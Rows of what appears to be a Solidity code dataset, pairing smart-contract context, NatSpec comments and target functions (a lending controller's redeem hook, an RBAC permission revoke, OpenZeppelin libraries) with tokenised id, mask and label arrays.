newBorrowFactorMantissa) external; /// @notice Emitted when iToken's borrow capacity is changed by admin event NewBorrowCapacity( address iToken, uint256 oldBorrowCapacity, uint256 newBorrowCapacity ); function _setBorrowCapacity(address iToken, uint256 newBorrowCapacity) external; /// @notice Emitted when iToken's supply capacity is changed by admin event NewSupplyCapacity( address iToken, uint256 oldSupplyCapacity, uint256 newSupplyCapacity ); function _setSupplyCapacity(address iToken, uint256 newSupplyCapacity) external; /// @notice Emitted when pause guardian is changed by admin event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); function _setPauseGuardian(address newPauseGuardian) external; /// @notice Emitted when mint is paused/unpaused by admin or pause guardian event MintPaused(address iToken, bool paused); function _setMintPaused(address iToken, bool paused) external; function _setAllMintPaused(bool paused) external; /// @notice Emitted when redeem is paused/unpaused by admin or pause guardian event RedeemPaused(address iToken, bool paused); function _setRedeemPaused(address iToken, bool paused) external; function _setAllRedeemPaused(bool paused) external; /// @notice Emitted when borrow is paused/unpaused by admin or pause guardian event BorrowPaused(address iToken, bool paused); function _setBorrowPaused(address iToken, bool paused) external; function _setAllBorrowPaused(bool paused) external; /// @notice Emitted when transfer is paused/unpaused by admin or pause guardian event TransferPaused(bool paused); function _setTransferPaused(bool paused) external; /// @notice Emitted when seize is paused/unpaused by admin or pause guardian event SeizePaused(bool paused); function _setSeizePaused(bool paused) external; function _setiTokenPaused(address iToken, bool paused) external; function _setProtocolPaused(bool paused) external; event NewRewardDistributor( address oldRewardDistributor, address _newRewardDistributor ); function _setRewardDistributor(address _newRewardDistributor) external; } interface IControllerPolicyInterface { function beforeMint( address iToken, address account, uint256 mintAmount ) external; function afterMint( address iToken, address minter, uint256 mintAmount, uint256 mintedAmount ) external; function beforeRedeem( address iToken, address redeemer, uint256 redeemAmount ) external; function afterRedeem( address iToken, address redeemer, uint256 redeemAmount, uint256 redeemedAmount ) external; function beforeBorrow( address iToken, address borrower, uint256 borrowAmount ) external; function afterBorrow( address iToken, address borrower, uint256 borrowedAmount ) external; function beforeRepayBorrow( address iToken, address payer, address borrower, uint256 repayAmount ) external; function afterRepayBorrow( address iToken, address payer, address borrower, uint256 repayAmount ) external; function beforeLiquidateBorrow( address iTokenBorrowed, address iTokenCollateral, address liquidator, address borrower, uint256 repayAmount ) external; function afterLiquidateBorrow( address iTokenBorrowed, address iTokenCollateral, address liquidator, address borrower, uint256 repaidAmount, uint256 seizedAmount ) external; function beforeSeize( address iTokenBorrowed, address iTokenCollateral, address liquidator, address borrower, uint256 seizeAmount ) external; function afterSeize( address iTokenBorrowed, address iTokenCollateral, address liquidator, address borrower, uint256 seizedAmount ) external; function beforeTransfer( address iToken, address from, address to, uint256 amount ) external; function afterTransfer( address iToken, address from, address to, uint256 amount ) external; function beforeFlashloan( address iToken, address to, uint256 amount ) external; function afterFlashloan( address iToken, address to, uint256 amount ) external; } interface IControllerAccountEquityInterface { function calcAccountEquity(address account) external view returns ( uint256, uint256, uint256, uint256 ); function liquidateCalculateSeizeTokens( address iTokenBorrowed, address iTokenCollateral, uint256 actualRepayAmount ) external view returns (uint256); } interface IControllerAccountInterface { function hasEnteredMarket(address account, address iToken) external view returns (bool); function getEnteredMarkets(address account) external view returns (address[] memory); /// @notice Emitted when an account enters a market event MarketEntered(address iToken, address account); function enterMarkets(address[] calldata iTokens) external returns (bool[] memory); function enterMarketFromiToken(address _account) external; /// @notice Emitted when an account exits a market event MarketExited(address iToken, address account); function exitMarkets(address[] calldata iTokens) external returns (bool[] memory); /// @notice Emitted when an account add a borrow asset event BorrowedAdded(address iToken, address account); /// @notice Emitted when an account remove a borrow asset event BorrowedRemoved(address iToken, address account); function hasBorrowed(address account, address iToken) external view returns (bool); function getBorrowedAssets(address account) external view returns (address[] memory); } interface IControllerInterface is IControllerAdminInterface, IControllerPolicyInterface, IControllerAccountEquityInterface, IControllerAccountInterface { /** * @notice Security checks when updating the comptroller of a market, always expect to return true. */ function isController() external view returns (bool); /** * @notice Return all of the iTokens * @return The list of iToken addresses */ function getAlliTokens() external view returns (address[] memory); /** * @notice Check whether a iToken is listed in controller * @param _iToken The iToken to check for * @return true if the iToken is listed otherwise false */ function hasiToken(address _iToken) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } //SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IRewardDistributor { function _setRewardToken(address newRewardToken) external; /// @notice Emitted reward token address is changed by admin event NewRewardToken(address oldRewardToken, address newRewardToken); function _addRecipient(address _iToken, uint256 _distributionFactor) external; event NewRecipient(address iToken, uint256 distributionFactor); /// @notice Emitted when mint is paused/unpaused by admin event Paused(bool paused); function _pause() external; function _unpause(uint256 _borrowSpeed, uint256 _supplySpeed) external; /// @notice Emitted when Global Distribution speed for both supply and borrow are updated event GlobalDistributionSpeedsUpdated( uint256 borrowSpeed, uint256 supplySpeed ); function _setGlobalDistributionSpeeds( uint256 borrowSpeed, uint256 supplySpeed ) external; /// @notice Emitted when iToken's Distribution speed is updated event DistributionSpeedsUpdated( address iToken, uint256 borrowSpeed, uint256 supplySpeed ); function updateDistributionSpeed() external; /// @notice Emitted when iToken's Distribution factor is changed by admin event NewDistributionFactor( address iToken, uint256 oldDistributionFactorMantissa, uint256 newDistributionFactorMantissa ); function _setDistributionFactors( address[] calldata iToken, uint256[] calldata distributionFactors ) external; function updateDistributionState(address _iToken, bool _isBorrow) external; function updateReward( address _iToken, address _account, bool _isBorrow ) external; function updateRewardBatch( address[] memory _holders, address[] memory _iTokens ) external; function claimReward(address[] memory _holders, address[] memory _iTokens) external; function claimAllReward(address[] memory _holders) external; /// @notice Emitted when reward of amount is distributed into account event RewardDistributed( address iToken, address account, uint256 amount, uint256 accountIndex ); }
* @notice Hook function before iToken `redeem()` Checks if the account should be allowed to redeem the given iToken Will `revert()` if any check fails @param _iToken The iToken to check the redeem against @param _redeemer The account which would redeem iToken @param _redeemAmount The amount of iToken to redeem/ _redeemAllowed below will check whether _iToken is listed Update the Reward Distribution Supply state and distribute reward to suppplier
function beforeRedeem( address _iToken, address _redeemer, uint256 _redeemAmount ) external override { require(!markets[_iToken].redeemPaused, "Token redeem has been paused"); _redeemAllowed(_iToken, _redeemer, _redeemAmount); IRewardDistributor(rewardDistributor).updateDistributionState( _iToken, false ); IRewardDistributor(rewardDistributor).updateReward( _iToken, _redeemer, false ); }
1,318,104
[ 1, 5394, 445, 1865, 277, 1345, 1375, 266, 24903, 20338, 13074, 309, 326, 2236, 1410, 506, 2935, 358, 283, 24903, 326, 864, 277, 1345, 9980, 1375, 266, 1097, 20338, 309, 1281, 866, 6684, 225, 389, 77, 1345, 1021, 277, 1345, 358, 866, 326, 283, 24903, 5314, 225, 389, 266, 24903, 264, 1021, 2236, 1492, 4102, 283, 24903, 277, 1345, 225, 389, 266, 24903, 6275, 1021, 3844, 434, 277, 1345, 358, 283, 24903, 19, 389, 266, 24903, 5042, 5712, 903, 866, 2856, 389, 77, 1345, 353, 12889, 2315, 326, 534, 359, 1060, 17547, 3425, 1283, 919, 471, 25722, 19890, 358, 1169, 84, 5742, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1865, 426, 24903, 12, 203, 3639, 1758, 389, 77, 1345, 16, 203, 3639, 1758, 389, 266, 24903, 264, 16, 203, 3639, 2254, 5034, 389, 266, 24903, 6275, 203, 565, 262, 3903, 3849, 288, 203, 203, 3639, 2583, 12, 5, 3355, 2413, 63, 67, 77, 1345, 8009, 266, 24903, 28590, 16, 315, 1345, 283, 24903, 711, 2118, 17781, 8863, 203, 203, 3639, 389, 266, 24903, 5042, 24899, 77, 1345, 16, 389, 266, 24903, 264, 16, 389, 266, 24903, 6275, 1769, 203, 203, 3639, 15908, 359, 1060, 1669, 19293, 12, 266, 2913, 1669, 19293, 2934, 2725, 9003, 1119, 12, 203, 5411, 389, 77, 1345, 16, 203, 5411, 629, 203, 3639, 11272, 203, 3639, 15908, 359, 1060, 1669, 19293, 12, 266, 2913, 1669, 19293, 2934, 2725, 17631, 1060, 12, 203, 5411, 389, 77, 1345, 16, 203, 5411, 389, 266, 24903, 264, 16, 203, 5411, 629, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xefaCa6Fc316B3B2Aa6c55FF5E02a62A85d4391e8/sources/contracts/storage/AccountRBAC.sol
* @dev Revokes a particular permission from the specified target address./
function revokePermission(Data storage self, bytes32 permission, address target) internal { self.permissions[target].remove(permission); if (self.permissions[target].length() == 0) { self.permissionAddresses.remove(target); } }
16,517,164
[ 1, 10070, 601, 281, 279, 6826, 4132, 628, 326, 1269, 1018, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 18007, 5041, 12, 751, 2502, 365, 16, 1731, 1578, 4132, 16, 1758, 1018, 13, 2713, 288, 203, 3639, 365, 18, 9612, 63, 3299, 8009, 4479, 12, 9827, 1769, 203, 203, 3639, 309, 261, 2890, 18, 9612, 63, 3299, 8009, 2469, 1435, 422, 374, 13, 288, 203, 5411, 365, 18, 9827, 7148, 18, 4479, 12, 3299, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* .'''''''''''.. ..''''''''''''''''.. ..'''''''''''''''.. .;;;;;;;;;;;'. .';;;;;;;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;,. .;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;,. .;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;,. .;;;;;;;;;;;;;;;;;;;;,. ';;;;;;;;'. .';;;;;;;;;;;;;;;;;;;;;;,. .';;;;;;;;;;;;;;;;;;;;;,. ';;;;;,.. .';;;;;;;;;;;;;;;;;;;;;;;,..';;;;;;;;;;;;;;;;;;;;;;,. ...... .';;;;;;;;;;;;;,'''''''''''.,;;;;;;;;;;;;;,'''''''''.. .,;;;;;;;;;;;;;. .,;;;;;;;;;;;;;. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .;;;;;;;;;;;;;,. ..... .;;;;;;;;;;;;;'. ..';;;;;;;;;;;;;'. .',;;;;,'. .';;;;;;;;;;;;;'. .';;;;;;;;;;;;;;'. .';;;;;;;;;;. .';;;;;;;;;;;;;'. .';;;;;;;;;;;;;;'. .;;;;;;;;;;;,. .,;;;;;;;;;;;;;'...........,;;;;;;;;;;;;;;. .;;;;;;;;;;;,. .,;;;;;;;;;;;;,..,;;;;;;;;;;;;;;;;;;;;;;;,. ..;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;;;,. .',;;;,,.. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;;,. .... ..',;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;,. ..',;;;;'. .,;;;;;;;;;;;;;;;;;;;'. ...'.. .';;;;;;;;;;;;;;,,,'. ............... */ // https://github.com/trusttoken/smart-contracts // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * // importANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/utils/ReentrancyGuard.sol // pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // Dependency file: @openzeppelin/contracts/math/SafeMath.sol // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Dependency file: @openzeppelin/contracts/GSN/Context.sol // pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Dependency file: @openzeppelin/contracts/utils/Address.sol // pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [// importANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * // importANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * 